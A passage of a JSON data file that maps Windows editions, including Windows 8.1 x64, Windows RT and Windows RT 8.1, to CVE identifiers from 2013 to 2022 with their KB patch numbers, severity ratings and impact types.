Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows 8.1 for x64-based Systems":[{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"}],"Windows 8.1 for x64-based systems":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3185331","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows RT":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901119","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"}],"Windows RT 8.1":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code 